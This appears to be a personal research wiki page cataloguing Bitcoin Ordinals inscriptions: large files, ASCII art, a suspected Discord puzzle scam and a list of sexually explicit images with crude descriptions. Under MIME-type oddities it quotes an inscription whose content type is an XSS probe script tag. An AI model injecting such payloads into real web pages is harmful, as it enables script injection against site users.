- ca4f11131eca6b4d61daf707a470cfccd1ef3d80a6f8b70f1f07616b451ca64e: 1MVpQJA7FtcDrwKC6zATkZvZcxqma4JixS
Other related transactions:
- tx 87aad85c6cd75a516789f364637d243c668e3424d031ae510e43c6edfe6ed206, block 474652 (2017-07-07) via cryptograffiti.info the default pandoc markdown pandoc.org/try markdown tutorial string! First, unseen in our ASCII dumps due to UTF-8 encoding::
followed by:
Unicode test: `Ä Ö Õ Ü ä ö õ ü`.And if ends with:An h1 header ============ Paragraphs are separated by a blank line.Uploaded from http://cryptograffiti.info to demonstrate Markdown rendering.
TODO understand what these are:
- ae92dc4c31943955ad6e3e45a4eb0067f488fdd9aecca65c946460dd2a85488d
- 3020dbd7c850bf8c19ebacf670a2830fe50999a8b2560a202af21d536760eea4
- d65384a21cb1c327cc42416a0b1e2a78ad0296cb7a15312bdcd67ef169ecb309
- a3e3100d2b9a86e310430945c001df97a70626220a9e151208aecbb613f1f152
- a9c82ebc47fabd1eed7eeea7760d0a3c99288af3c3a17e396ec790fc280698a2
- 92bfd5c0fb0f24efa6ca568c4475f44e94dfc8d0d4d5da04dfafc6261bf17f45
- 73c22adb21b93f9220d00d2614a50350824be95b8ea966349e6f35fe5ac5537b
- 099c0fd06d18953c886121ff143ea0a20d0baf29999f424fa1ac707a81cf4987
- 3ad6677303fb6f700a4f2f977fe86e5324e0ddb0d3b33a649e513d7e88904e85
- 31a2ddaf4b146e021246e1f82e28121f5c9c8729620978309004515c7e559910
- adaae897fd286aefb64a69e88a53e9af17ee98611ea595c3c92d038f3274d723
- d8bf48e9ad3de62c695ff34a96e340912bd62e0a0282b94da6386b837c31a30d
Ordinals are inscriptions created with the protocol described at: docs.ordinals.com/inscriptions.html The protocol was designed by developer Casey Rodarmor, and shares a few similarities wit hthe AtomSea & EMBII protocol.
The protocol also includes a way to have ownership over inscriptions, effectively creating an NFT system on top of the bitcoin blockchain. AtomSea & EMBII also already had such a system however. In either case, Ciro Santilli couldn't give less of a fuck about who owns some random publicly viewable digital asset.
For whatever reason, orinals became extremelly popular compared to the AtomSea & EMBII format, leading to millions os inscriptions, and 10k+ images as of block 830k. They also started to take up a substatial portion of the available block space.
This in turn led to a lot of child porn rediscussion, and people linking back to this page to view earlier inscriptions: incoming links.
Unfortunately, unlike AtomSea & EMBII and even cryptograffiti.info uploads, most ordinals are designed to be just souless bulk collectibles, as with as much artistic merit as any random collectible card set or postage stamps you may find at a newpaper stall. To make things worse many of them are likely algorithmically generated. Eternal September had truly arrived to the Bitcoin blockchain. As a result, machine learning would be almost essential in order to find interesting uploads amidst such bulk.
The source code for the reference uploader and indexer is at: github.com/ordinals/ord
The reference viewer server for the runs at: ordinals.com.
The
i0 at the end of the URL above means "inscription 0". This is because a single transaction can have multiple inscriptions.Some of them have sold for high prices. Magic Eden is a popular interface for trading them:
- 2023-12-08: #8 was sold dor 10.4 BTC[ref] (~$450,000 at the time)
Figure 2. Ordinal #8. On ordinals.com: ordinals.com/inscription/d95c0fb86bc0f0dce6a732c5ab77d47e33ed24099bdb01133f768cef75a47724i0
The ordinals also started taking up large portions of the Bitcoin blockchain:
Apparently the "Taproot" Bitcoin update made it easier to upload image-sized data once again, which had become prohibitively expensive 2023 and much earlier:
- protos.com/did-taproot-ruin-bitcoin-with-nft-inscriptions-of-monkey-jpegs/
- ordinals.com/ appears to index some types of ordinals
Bibliography:
- blocktelegraph.io/parent-child-bitcoin-inscriptions/ parent-child relationshipsi are possible between two ordinals
- ordinals.com/
- bitcoin.stackexchange.com/questions/117018/understanding-how-ordinals-work-with-the-bitcoin-blockchain-what-is-exactly-sto
- bitcoin.stackexchange.com/questions/118405/read-ordinal-transaction-data
- bitcoin.stackexchange.com/questions/118247/can-someone-explain-the-byte-composition-of-an-inscription-reveal-transaction
- nftnow.com/guides/bitcoin-nfts-most-notable-ordinals-inscriptions/
Reference indexer web interface implementation of ordinal ruleset inscriptions.
Source code presumably at: github.com/ordinals/ord
Viewing tip: plaintext inscriptions and some HTML pages don't show well on the preview window, but you can view them well by clicking on "content". E.g.:
- ordinals.com/inscription/7b0a0b9f18a729e905822304f9c4c05f8851d10bdc82efa902fd936ef874efebi0 unreadable preview
- ordinals.com/content/7b0a0b9f18a729e905822304f9c4c05f8851d10bdc82efa902fd936ef874efebi0 perfectly readable plaintext
These were found by running object detection software for some porn/nudity detection. We need to run some more, all sex was likely missed: github.com/GantMan/nsfw_model/issues/160
Vagina:
- ordinals.com/inscription/723d753d975cbae01b76fb09d827246ef023a46a408c6c452d22d63a6fed9e72i0 shaved closeup
- ordinals.com/inscription/7462bf4f967633efaaadf136c03bc2ad784941563330b593022d68a7c3460641i0 shaved from the front
- ordinals.com/inscription/8e92eb73fa2d0aa951cb860db29107f02d5c439e97254cde87679bb23fea9d27i0 stretch from the back
Dick photos:
- ordinals.com/inscription/3979478c4b9d0e008344cb7274b10ad9f5ea4d04604c97efc56909b825808d18i0 big white dick
- ordinals.com/inscription/8ae58911078f7aa0dfce457355498abc1a5bdd57f5b05525419466064c3e89c3i0 big-ish white dick small blonde guy. Likely gay porn.
- ordinals.com/inscription/dfb4213ac5a26d581cf6b6516bc8726e699ac632f0722c97eb48cfbe6b1e3eb6i0 hard dick
- big black dick Bitcoin memes
- ordinals.com/inscription/0e88455154f74ebd4b12ff3f7c73dbf8327218c3fe6e60180e294dcb354e35f1i0 how BTC feels RN (right now)
- ordinals.com/inscription/997f06f98f02bf7102ec5a18375d7fe57dd797cf230895566252feb4d32583e8i0 bitcoin bit dick again
Anus:
- #668 ordinals.com/inscription/bb6f577e30e6840dce0474f3c3c55134404688e844982a49161502d3d69e322di0 male asshole open shock porn, this realtively early inscription got some attention:It happened soon after the notable Figure "Ordinal #652", and it likely tried to follow the surge of interest from its predecessor.
- ordinals.com/inscription/31d03361ca6bf998e0623763a87d2f776b33a50504bc3a9bbf128e96d97418b9i0 female open blackhole
Lingerie:
- bitcoinlambos.eth ads
- GenAI blondes in lingerie:
- ordinals.com/inscription/41250e039f9f1fdf9a05a3775d1a94a35bb46481a66687570f5db98ab7d00501i0 serious white bikini
- ordinals.com/inscription/bc361a8978e309d3c5b4212f35c48c74396315ee4c10a7e2f17427264d3178c6i0 Jenna Jameson 80's style photo shoot at at the beach. More at www.forumophilia.com/topic462690.html.
- ordinals.com/inscription/647b0cafe5a6fc545e40b6c1bab910c43adfe6b372fee0cc65d0aef9e470d820i0 Bitcoin carnival dress? What are the fruits behind and what is written in the back?
Sexy illustrations:
- ordinals.com/inscription/beeff78be2939caa9491b7588a6c3822b40b7e00d74190db1838ae9e0845b761i0 The Source by Jean-Auguste-Dominique Ingres (1856). Classical painting woman with pot.
- ordinals.com/inscription/890fc1226d6ac2dbcd54c8a9292581b903c2ab85f1eec8a0b0951bb32f88a173i0 genai cartoon futuristic big boobs
- ordinals.com/inscription/343699e12e3239357f42eab428a60591b9a40599ce57dfffe29709ed103f426di0 vagina apples
- ordinals.com/inscription/3bc21aa658a36c4e26a1c2631ac280e101d7167ee3fa19debadeb44cff0a9535i0 sexy drawing in lingerie
- ordinals.com/inscription/1a30aef623eac0dad6fc6759dc7c963266cda44ce43cece420bc41a07734b3cdi0 bikini selife onlyfans
- The "Astral Babes" Ordinal ruleset inscription collection magiceden.io/ordinals/marketplace/astral-babes hits positive for breasts and is a pain in the butt:
- ordinals.com/inscription/bd1705c52b601ab93b7e82c07477fed89568e3ebd4719ddf41d73c8be57c2d65i0
- ordinals.com/inscription/bd1705c52b601ab93b7e82c07477fed89568e3ebd4719ddf41d73c8be57c2d65i0
- ordinals.com/inscription/c7cd91355f7306c72d4d69f073f07f089689b7f790fb1c8595ac59eaed115af5i0
- ordinals.com/inscription/4322bcce78f05bb280337892954cce24948c9e0a90cb486c9734f90beae14811i0
This section is about ordinals that are interesting primarily due to technical reasons linked to edge cases of the protocol.
Interesting MIME types:
- ordinals.com/inscription/dad86d722156b8c384c1f3243e40aa7a0f6f5be496bc24e19485831584f9803fi0: mime type is an UTF-8 orange emoji "🟠"
- ordinals.com/inscription/bc7b86245159cdf8bc63489687909f766a0a0e08279d23fb077cdd60ab1e9f22i0: mime type is an XSS attempt:
<script>alert('xss in content type')</script> tx=bc7b86245159cdf8bc63489687909f766a0a0e08279d23fb077cdd60ab1e9f22 - ordinals.com/inscription/bc7b86245159cdf8bc63489687909f766a0a0e08279d23fb077cdd60ab1e9f22i0: mime type is "FuckYou"
- ordinals.com/inscription/00b0ece72217ce49b637b3f9bf5335bc245e588568aa0676581b40c1bedc521di0: the mime is a long JSON. However, it does appear to be a valid feature as it rendered specially on ordinals.com.
Different
ord markers:- 71e85885522047240a9e70542145dbf2385e1bd468e6ac6002aa755422ea10f5 uses
takingnames. Decode with:gives the PNG of the wireframe draing of a washing machine with transparent background.bitcoin-core.cli decodescript "$(bitcoin-core.cli getrawtransaction 71e85885522047240a9e70542145dbf2385e1bd468e6ac6002aa755422ea10f5 true | jq -r '.vin[0].txinwitness[1]')" | jq -r .asm | sed 's/.* 0 //;s/ OP_ENDIF//;s/ //g' | xxd -r -p > 71e85885522047240a9e70542145dbf2385e1bd468e6ac6002aa755422ea10f5.png
We can get a list of the ordinals at: archive.org/details/bitcoin-ordinal-inscriptions.csv and then sort them by payload size with:
sort -k6 -n -t, ordinals.csv -o ordinals-sort-size.csvThis shows to us that as of block ~831k, there are 4 ordinals which are far far larger than any other between 3 MiB and 4 MiB, at about 10x larger than then 5th one d115a6e689086fd587e5032f24ba2a8c01f2f87cba758c9d5eb8cf7f6e9a816a
In those cases, a single inscription takes almost the entire block, and the inscribers must have had direct dealings with their mining pool:
- ordinals.com/inscription/4af9047d8b4b6ffffaa5c74ee36d0506a6741ba6fc6b39fe20e4e08df799cf99i0: 3,946,469 bytes (image/jpeg). Bitcoin Magazine cover showing the face of Julian Assange. tx 4af9047d8b4b6ffffaa5c74ee36d0506a6741ba6fc6b39fe20e4e08df799cf99, block 786501 (2023-04-22). Mined by Terra Pool.
- ordinals.com/inscription/0301e0480b374b32851a9462db29dc19fe830a7f7d7a88b81612b9d42099c0aei0: 3,915,537 bytes (image/jpeg). Taproot Wizards ad. This was apparently the largest block ever mined at the time: www.reddit.com/r/Bitcoin/comments/10r6t1l/the_first_4_mb_block_in_bitcoin_history_mined_by/ and received some notice. tx 0301e0480b374b32851a9462db29dc19fe830a7f7d7a88b81612b9d42099c0ae, block 774628 (2023-02-01). Mined by Luxor pool.
Figure 1. Ordinal #652. Source. - ordinals.com/inscription/79b91e594c03c8f06d70c44a288a88a413c540abca007829ca119686a7f979dai0: 3,878,842 bytes (image/webp). "Bitcoin War Bonds". A spoof of something. No time to understand now. tx 79b91e594c03c8f06d70c44a288a88a413c540abca007829ca119686a7f979da, block 777945 (2023-02-23). Mined by Terra Pool.
- ordinals.com/inscription/b5a7e05f28d00e4a791759ad7b6bd6799d856693293ceeaad9b0bb93c8851f7fi0: 3,379,682 bytes (video/mp4). Short looping video of a "purple frog drinking from a glass with a straw". Yes you heard that right. TODO context? tx b5a7e05f28d00e4a791759ad7b6bd6799d856693293ceeaad9b0bb93c8851f7f, block 776884 (2023-02-16 ) Despite being huge, this received very little attention, the only Google mention is at An overview of recent non-standard Bitcoin transactions by 0xB10C. Mined by Terra Pool.
As of 2024, all of the big ones were made in early 2023, so it seems that the trend has died down a bit.
Text is the only reasonbly interesting content that Ciro Santilli has seen in the ordinals, as opposed to images which are boring. They haven'g found a way to commercialize it yet it seems, thank God. Glad to have researcehd this a bit!
Shame that the plaintext ones don't show up too well on ordinals.com!
The largest inscriptions with mime
text/* are:- ordinals.com/inscription/e15e19c587985e7dbb0554a6b51df976fdc8d95f4350b759c10b07399d34a7bbi0: 395,253 bytes (2023-02-23): an English translation of Mein Kampf by Adolf Hitler starting from the "Author's preface" section to the end of Chapter V. This seems to be the text: gutenberg.net.au/ebooks02/0200601.txt gutenberg.net.au/ebooks02/0200601.txt. Likely someone trying to be naughty, on the same vein as the "Hitler did nothing wrong" meme from previous eras
- ordinals.com/inscription/daed32652a82fa809be265a9a082d31e186b2b3c0cec80b52dc30e3c1c856c66i0: 394,346 bytes (2023-02-21): Mein Kempt just like ordinals.com/inscription/e15e19c587985e7dbb0554a6b51df976fdc8d95f4350b759c10b07399d34a7bbi0 but with the HTML in a single line, so it is slightly smaller
- ordinals.com/inscription/95f6909988dba38f1140d536c9cc2fdcf635c1522f93834045b093f0d4c2fdd7i0: 394,053 bytes (2023-02-21): HTML heart shaped index of the "Insignia Art" ordinal collection: ordinalswallet.com/collection/insignia-art. That one is kind of cool actually.
- ordinals.com/inscription/8af62aed75fdd9262d36d428a209a162394f0f463bf261ea253d0fb009f2277fi0: 392,866 bytes (2023-09-29) Majjhima Nikāya (Collection of Middle-length Discourses), Buddhist text that is part of the Pali Canon, the most original Buddhist scriptures. EMBII's inscription of the Bhagavad Gita comes to mind. Both Pali transliteration and English translation are present side-by-side.
- ordinals.com/inscription/6352b23c10ef20321d59735d8597af9be96db1bab4b50d728e618a1c5a21a991i0: 391,053 bytes (2023-03-03) "Satoshi Wars" Star Wars-themed browser game. It is a mouse-controlled Pong clone
- ordinals.com/inscription/ab420f90306948937432379dc3f768ef5f826714f53e0cea4e641debef460173i0: 389,001 bytes (2023-02-19) "The Anarchist Cookbook by William Powell". People trying to be semi-naughty as usual.
- ordinals.com/inscription/d8ef417a8575e0fa3da7ab11f9e91ef7582c7275f54f8b9dc587c98c676bd41ci0: 388,196 bytes (2023-02-12)
This fully on-chain document contains all of Satoshi Nakamoto's posts on Bitcointalk.
- ordinals.com/inscription/2a260692fd8aca7fc5f825fe7965c914615fe1d62f7d3e5b078228d43fd93243i0: 387,818 bytes (2023-04-06) an HTML page, title:
Welcome to the on-chain Pixogette Metadata Reader
It seems t oallow you to upload images and reads metadata from the image. Didn't work too well on ordinals.com possibly due to narrow display port. Also it has a funny background music :-) - ordinals.com/inscription/a31b8e3e279a6e28ef49fa4dca54f820abf266223976b778833e8c47991ad403i0: 386,913 bytes (2023-02-19) a cute Bitcoin Cash ad:
It appears to contain the entire first fork block of Bitcoi Cash from mainline bitcoin.
#!/bin/bash # # ____ _ _ _ ____ _ # | __ ) (_) | |_ ___ ___ (_) _ __ / ___| __ _ ___ | |__ # | _ \ | | | __| / __| / _ \ | | | '_ \ | | / _` | / __| | '_ \ # | |_) | | | | |_ | (__ | (_) | | | | | | | | |___ | (_| | \__ \ | | | | # |____/ |_| \__| \___| \___/ |_| |_| |_| \____| \__,_| |___/ |_| |_| # # ___ _ _ # |_ _| _ __ __| | ___ _ __ ___ _ __ __| | ___ _ __ ___ ___ # | | | '_ \ / _` | / _ \ | '_ \ / _ \ | '_ \ / _` | / _ \ | '_ \ / __| / _ \ # | | | | | | | (_| | | __/ | |_) | | __/ | | | | | (_| | | __/ | | | | | (__ | __/ # |___| |_| |_| \__,_| \___| | .__/ \___| |_| |_| \__,_| \___| |_| |_| \___| \___| # |_| # ____ _ _ # | __ ) | | ___ ___ | | __ # | _ \ | | / _ \ / __| | |/ / # | |_) | | | | (_) | | (__ | < # |____/ |_| \___/ \___| |_|\_\ - ordinals.com/inscription/f7ece21e1dc74874d7a6e5e11b77941be2db6f383d053242a40b63e0a28445ffi0: 386,819 bytes (2023-02-18) The Illiad Books I-XII
- ordinals.com/inscription/4f5e52115ef0fb4fc2a18cfc7f4caccfb712792c8bc318e71699a86ba4541719i0: 386,655 bytes (2023-08-09) Frogger browser clone
- ordinals.com/inscription/f04c0e94023e51fb995e48235773c77a471289baf44c1a3248d800a0a550c520i0: 385,743 bytes (2023-03-25) A Roguelike browser game
- ordinals.com/inscription/cd432a3e16c4a01db1df6a59b5941a69bd0cf130b24a61248643005f22a939d9i0: 383,098 (2023-02-18) Brave New World
This is a quick overiew of ASCII art ordinal inscriptions.
It was obtained by casually scrolling down the list of the largest text ordinal inscription on less until patience ran out.
Some of them are dedicated ASCII art inscriptions, others are just small highlights to other more important text like code.
Although tere is some element of commercialism in some those inscriptions, a bit like what is rampant in the images, some of them are honestly just cool and possibly novel.
Ordinal ruleset inscription collections:Pepe the Frog themed collections:
- Humongous surfers. These are very large ASCII arts, by far the largest on the chain. Being so large allows for shades of gray to be encoded on the average luminosith of individual letters:
- tx 0f29dab68e9898f9349ef4508908f7df48dc56577cfd94ff173dd2c1b29ad7a3 (240,300 bytes): surfer girl
Figure 1. Surfer girl. Screenshot of the ordinals.com/inscription/0f29dab68e9898f9349ef4508908f7df48dc56577cfd94ff173dd2c1b29ad7a3i0 Ordinal ASCII art inscription as seen on Chromium 85. - tx b256c850f8cab037d387d3db70643b79f5848565181b341de6c44f86307db9e7
- tx d0e090aeeb289e19b8c9ad71c00daa28367e9afc4593c89513e4f96abcda8ea5
- tx fb754df7b17c7b76a6508b5d4e29f89d55ada38cf1f75ca4d797c58f45b73cd1
- tx a7e6697781513bdeddada7c32b6200fb8499624664ba056f8318541b63f68c36
- tx 0f29dab68e9898f9349ef4508908f7df48dc56577cfd94ff173dd2c1b29ad7a3 (240,300 bytes): surfer girl
- Michael Jackson Unicode art. Uses Unicode Braille characters. Marked "First Onchain Collection" and "Legends @ BTC" . Pretty cool design, the textures are quite cool and suggest glittering flying seat. Though if those ever sell, someone is going to get sued to Hell by MJ's estate!
- 1/12 tx 7e6c5f8ebb41604c79f2af60bb7af623c42b32afe4d7571ba81d7b9b44d33a2d
- 2/12 tx 8ac99472b865d01f8724ba23b6f79ca56d30b44fae0eb509984237b722b812c3
- 5/12 tx 74c94ceba91cf59de2740bcfa5bc2fdb3ea0d4499e73a12100ed365d25ae9061
- 7/12 tx 0360a10e67365ab8cc4e32f199c71cabf4fb6a08ca9773dd1d13d7f7936dcf99
- 8/12 tx 4814880f931db8aa59e1c2aba2c227e83d928d297cbe91978458b6d83e38ddfc
- 9/12 tx 909228c88176b65f5705ade5fa059030d4c646cacd171737af03ac965047fa82
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- "Hiddenpepe" collection. These are present inside HTML comments, and don't show well on ordinals.com. But you can see them by inspecting the HTML code, e.g. at: ordinals.com/content/a66a54878d428fc7bdf5758ea3bf2ebe1c76750043c22dc6ff05d7cb5a0c0a37i0">view-source:ordinals.com/content/a66a54878d428fc7bdf5758ea3bf2ebe1c76750043c22dc6ff05d7cb5a0c0a37i0.By looking at the short JavaScript code, the page seems to select one plain background color at random, but it didn't seem to work very well, we always get the same color?A comment at the end of each inscription reads:
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- 06 tx 7650ad0da7f563bd882cd28f88654ac7484b97e63426fda1667bf15da65aad0e
- 08 tx e104fb9c34e75418385f04eb7d92ed16afd45cc244923f5807ed4ca65c8f010f
- 09 tx a5256054de9f80593b9b347072ce6d4a159d70f811de38a9d4a027a229d6c803
- "Pistol Pepe": these simple browser games contain an ASCII art as an HTML comment. The are signed "www.twitter.com/tewz1 tewz.cent.co/" (twitter "Account suspended" as of April 2024).
ANSI art. These can only be viewed on a terminal:
- tx 2a319ec83d8e93cd8003a8d087514a0f775b7314128fbdf4d59aad2f9664ac04: Pepe the Frog with lots of terminal blink on the background, quite cool
Figure 3. Pepe the Frog ANSI art. Screenshot of the ANSI art taken from a terminal. - tx 2a96eb44afce6028cbb6c1a639c9e93cf40a58e2bdc97f9d642fa0ec5713507a: "incoming call Satoshi Nakamoto" has the image of a man in suite with some dark terminal colors, pretty cool
ASCII porn:
- tx de57a32fcae4c20c16ebb9782ecc550f199e2f7d3a2149188945b21fcff99177; man drinking with while pulling out his huge dick
Misc:
- tx 9089c4fac49593628e1334bbfe94080819bdac67eac18c9ffece5a2bc235a380: wizard taking a shower
- tx fdf9b82e3177c5404f8251ad26460788fc8b29cc4cbd4951ea5e8438dcce9631: and tx 2031b40ccb3944822be709c9a41f38e10ddf13c577b3f2c4d2046ac73020f6f9 middle finger Unicode art. Both marked "THE MIDDLE 1/15".
Figure 4. THE MIDDLE 1/15. Screenshot taken from ordinals.com/content/fdf9b82e3177c5404f8251ad26460788fc8b29cc4cbd4951ea5e8438dcce9631i0. - tx ed3bd1a0cd8a18743acfd7162649a43b69f25a540fbfe6a2352a612ebfb381e6: JavaScript that generates a demoscene ASCII art animation that looks like a rotating thing
- tx 78240e4691c7f75311a03125567f1e44fc0049db611f0ac554f04f8790e28e24: cute cartoon dog giving wearing a headband and giving thumbs up. The Chinese subtitle reads:
买海豹胆小鬼
which Google Translate translates as:A coward who buys seals
TODO context. Sample hit at: twitter.com/0xTenkito/status/1612939684816031746 - tx 3a474f540c1917817fba51d2f9fd647887c8c3cd9687eb8d34ab6787c9e8a7fa: ASCII art of mysterious man typing on his laptop. Satoshi comes to mind. The man's hat contains the following Korean characters;
진실로같이가요
which Google Translate translates as:Let’s go together truly
- tx 18b7728f32ff27d410e57e289bca7b8c2bdf7c30a1c572a41acc1a8ff576b6ab: "I Want you BTC Maxis, Ordinal Army Enlist Now"
- tx 2fc46b52e3ab7a1053c4c65a4dc3af6bb7e51eb15cb988294af3a203ad254eed: contains an ASCII art of an Iron Man-like mask with text:
Did you know that within ASCII art an encrypted msg can be inside? All you need to do is decode it. Hence a pictureworthsthousandwords.
But hopefully/presumably the author meant Steganography and not encryption right? Code "Your free GrrCon ticket" comes to mind. - tx 6d1d99ed05a152d59fdef4eb26a4a07a4f81dcd945249639af272504b4e70d27: Bitcoin whitepaper as Markdown, but with some great Unicode art rendition of the diagrams!
┌─────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐ │ │ │ │ │ │ │ Transaction │ │ Transaction │ │ Transaction │ │ │ │ │ │ │ │ ┌─────────────┐ │ │ ┌─────────────┐ │ │ ┌─────────────┐ │ │ │ Owner 1's │ │ │ │ Owner 2's │ │ │ │ Owner 3's │ │ │ │ Public Key │ │ │ │ Public Key │ │ │ │ Public Key │ │ │ └───────┬─────┘ │ │ └───────┬─────┘ │ │ └───────┬─────┘ │ │ │ . │ │ │ . │ │ │ │ ──────┼─────────┐ │ . ├───────────────┼─────────┐ │ . ├──────────────┼─────────┐ │ │ │ │ │ . │ │ │ │ . │ │ │ │ │ │ ┌──▼─▼──┐ . │ │ ┌──▼─▼──┐ . │ │ ┌──▼─▼──┐ │ │ │ Hash │ . │ │ │ Hash │ . │ │ │ Hash │ │ │ └───┬───┘ . │ Verify │ └───┬───┘ . │ Verify │ └───┬───┘ │ │ │ ............................ │ ........................... │ │ │ │ │ │ │ │ │ │ │ │ │ │ ┌──────▼──────┐ │ │ ┌─▼────▼──────┐ │ │ ┌─▼────▼──────┐ │ │ │ Owner 0's │ │ Sign │ │ Owner 1's │ │ Sign │ │ Owner 2's │ │ │ │ Signature │ │ ...........─►│ Signature │ │ ...........─►│ Signature │ │ │ └─────────────┘ │ . │ └─────────────┘ │ . │ └─────────────┘ │ │ │ . │ │ . │ │ └─────────────────────┘ . └─────────────────────┘ . └─────────────────────┘ . . ┌─────────────┐ . ┌─────────────┐ . ┌─────────────┐ │ Owner 1's │........... │ Owner 2's │.......... │ Owner 3's │ │ Private Key │ │ Private Key │ │ Private Key │ └─────────────┘ └─────────────┘ └─────────────┘ - tx e643b2a25b6df9c1d5b0fad7168677a71b96544707efab16f0cf0266981cbe53: "Dear Luke Dashjr, here’s why I want to join the @TaprootWizards"
- tx 6987171da8a07b365686f3ec25ccc08f731943eecbbebed0c9b0df63b58d69fe: classical painting of a nude female model marked "By Johnny Dollar J$"
- tx 8ae6534ba41e305fedf068696111d5445e90c48cbd18081503e831399f1a11fb: HTML of monkey face with bow tie and pink cheeks. Cute! The HTML code is also arranged in a monkey like pattern.
- tx d6c60f0efc9f3155712775c2a0f4e1d805f000fc50763c440cb575f252de371d: also seen at: www.h17n.art/: HTML with the busts of a few people who strongly criticized Bitcoin: Warren Buffet, "Paul Krugman", "Christine Lagarde" and "Peter Schiff":
HYPERBITCOINIZATIONA collection of 17 text inscriptions blessed by the most diligent bitcoin evangelists
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Figure 5. Warren Buffett photo from hist Bill & Melinda Gates Foundation profile. Source. Off-chain reference image for the ASCII art.
Small art as part of an ad for something like a collection or service:
- tx e00318a4c0769f641ee62cfd8d55ac671d987244762a34895cc29c6142964dd4: ordinal bears collection header
- tx b0f140eddbe03c98d982524d81ab5beecfee3e135bc658173e38ffd675ca9f08: 999 club
- tx 29a4d4fb8ea570a5e6520c0c6d56bf44d00e5c0028b33f57eb1d2bbda4c467e1: "Bitcoin Bots"
- tx 86747b2b5118dd3c3911f8506818af7f6bf102ecd35f854d796021466bc4b548: "Bad Bunnies" badbunnies.xyz/ ad
- tx 0fc35f856bfd43e0c939100d9a21beccdac8264db81c0927cb681dcd22628dd6: EspressOrdinals
- tx 65bded5452fb0d158da19652afbee41cbc50c01513f3a50cf3540a059ace6e8a: ORDINALIENS twitter.com/ordinaliens
- tx 72c5d96279012faed9c464e75877186abd21c0fe6f5f00e244a7bd606d515b26: inscribeords.com "Inscribe Ords", an inscrption service
- tx 99e90c6f741921cc6740c4b402dbd69f40d3686be06d18aab39561871ad22b16: "immordal" Unicode art
Our algorithm is designed to give a rarity score to tweets based on their visibility and interaction. We take into account metadata such as views, likes, and retweets, and assign a grade to each category. These grades are then used to determine the rarity score of the tweet. We believe that this system will create a more just and equitable online community, where individuals are rewarded for meaningful contributions, rather than for clickbait or sensationalism. - tx 61ab46f60128c36a0dd9f9503711d38eef8737e88e6b78cad7365a54fdac7aa4: twitter.com/minidogeart "Ordinal Mini Doges"
- tx 9402c3c7f837353e68fae663027e7251b52820bd10dfd3fb57779c3c4bcb291a: Bitkoingz @BitKoingz
"WE ARE 256, WE ARE 1" is an invitation to a Discord-based puzzle game with the promise of a money prize of unspecified value in Round 10.
It is written as a short mystery story/cult invitation/tabletop RPG with some mysterious Braille Unicode art cabal symbols thrown in, nice work, e.g. the first one:
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⠀⠛⠋⠀⠚⠋⠀⠐⠛⠀⠀⠚⠀⠀⠘⠃⠀⠀⠓⠀⠀⠛⠂⠀⠙⠓⠀⠙⠛⠀The game is announced on the following inscriptions from (2023-07-18):
The prize promise is:
Amidst the labyrinthine trials, the ultimate test lies in Round 10, where grand prize money riddles await the most skilled and dedicated participants.There may also be a pay to win mechanic which is perhaps how the scam works:
In this cryptic journey, the number of 256 Ordinals held becomes a key determinant of progress. Those who hold a higher number of Ordinals, standing as sentinels of wisdom, enjoy an edge over others. They are safeguarded from regressing beyond their current round, their position secured by the strength of their holdings.However, for those who possess fewer Ordinals, a different fate may await. Purges, shrouded in mystery, can demote participants to lower rounds, challenging them to rise again through determination and resolve. The path to enlightenment demands resilience and the tenacity to overcome setbacks.
Finally further down we see some join instructions:
giving:
V. Whitelist Access and Discord RolesAnd finally they give concrete join instructions at:
Removing the spaces it is just Base64:IX. Join the Illuminated OnesSW4gdGhlIGhhbGxvd2VkIGNoYW1iZXJzIG9mIDI1NiwgYSBzZWxlY3QgZ3JvdXAgZW1lcmdlcyBmcm9tIHRoZSBkZXB ... XBsZXMgb2YgQml0Y29pbiByZWlnbiBzdXByZW1lLg==
xsel -b | tr -d ' ' | base64 -dso perhaps there is a hidden message in that text to actually access the Discord?In the hallowed chambers of 256, a select group emerges from the depths of knowledge and mastery. As we ascend through the challenging rounds and unravel the enigmas that lie within, a council of visionaries begins to take shape. These luminaries, the Illuminated Ones, are the chosen few who have delved deepest into the mysteries, unlocking the secrets that bind our shared destiny.To join the ranks of the Illuminated Ones is to embrace the challenge laid before us. It requires unwavering determination, relentless pursuit of knowledge, and an insatiable curiosity that drives us to unlock the hidden depths of the Watch Tower. As we decode the cryptic puzzles and navigate the labyrinthine maze, we become catalysts of change, shaping the very fabric of our collective future.Only the smartest, the most intrepid, and the boldest souls will find themselves welcomed into this secret council. They are the ones who have traversed the treacherous terrain, tested their mettle, and emerged triumphant. With each step forward, they gain insights and wisdom that have the power to reshape the very landscape of the digital realm.Curious and courageous souls are invited to join the ranks of the Illuminated Ones. Those who dare to challenge the boundaries of what is known and venture into the realm of the unknown are the ones who will find their rightful place among the visionaries and leaders of the 256 community. Together, we wield the power to shape our shared destiny, to create a future where decentralization, privacy, and the principles of Bitcoin reign supreme.
This is the collection on Magic Eden: magiceden.io/ja/ordinals/marketplace/256, which contains links:
- discord.com/invite/SxsQ4xh6P2 (invite invalid as of April 2024)
- twitter.com/WEARE256BTC (this account does not exist as of April 2024) Mentioned e.g. at: twitter.com/Dworfz/status/1684301131806015489
These were ordinals that were only indexed in later versions of the script. So to prevent changing the useless indices of existing ordinals, they gave them negative numbers.
The word "cursed" is a meme from the 2010/20s, e.g. knowyourmeme.com/memes/cursed-images--2.
Some examples:
- ordinals.com/inscription/4b9a822a057743813efbefa0dd21d0a01342ee793ce2ce5bd499a5f262187553i0 first inscription with no mime type.
- ordinals.com/inscription/2fa287270e4203ca2fc9f82ea3de7a0f7b785875791a76387ef6f4ccbb54eee2i0 is -38:
Hello World, this is a Rust Taproot test
is bugged because it is missing the mime type, on Python:because the[b"'a\xf9\x19X%\xa8Q\x87SP\xe5\xf2H\xa6\xeew\x0e\x81\xa5hl\xcd\xaa\x97e\xfeqJ\x16\x12?", OP_CHECKSIG, 0, OP_IF, b'ord', 1, b'text/plain', 0, b'Hello World, this is a Rust Taproot test\xe2\x80\xa6', OP_ENDIF]1should instead beb'\x01.
This section is about groups of ordinal ruleset inscription that share a theme and were presumably created by a single entity.
From their site:
OCM Genesis is our flagship generative art collection that's set many historic precedents since its launch in 2021. Genesis is the first NFT collection where all 10,000 images and metadata (similar to DNA describing the NFT) were generated using code entirely on-chain in a single transaction on Ethereum. With the launch of Bitcoin Ordinals, Genesis is the first ever collection of 10,000 images to be inscribed on Bitcoin in 2023.
Some of their likely transactions were noted in our list of large transactions: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/payload_size_out e.g.:
but we haven't had the patience to index them properly yet. Boring art anyways.
004c3f1efa0095b229dd05ea247c94a5af742daf682fb082a6e62f4aeeb973f2 66033
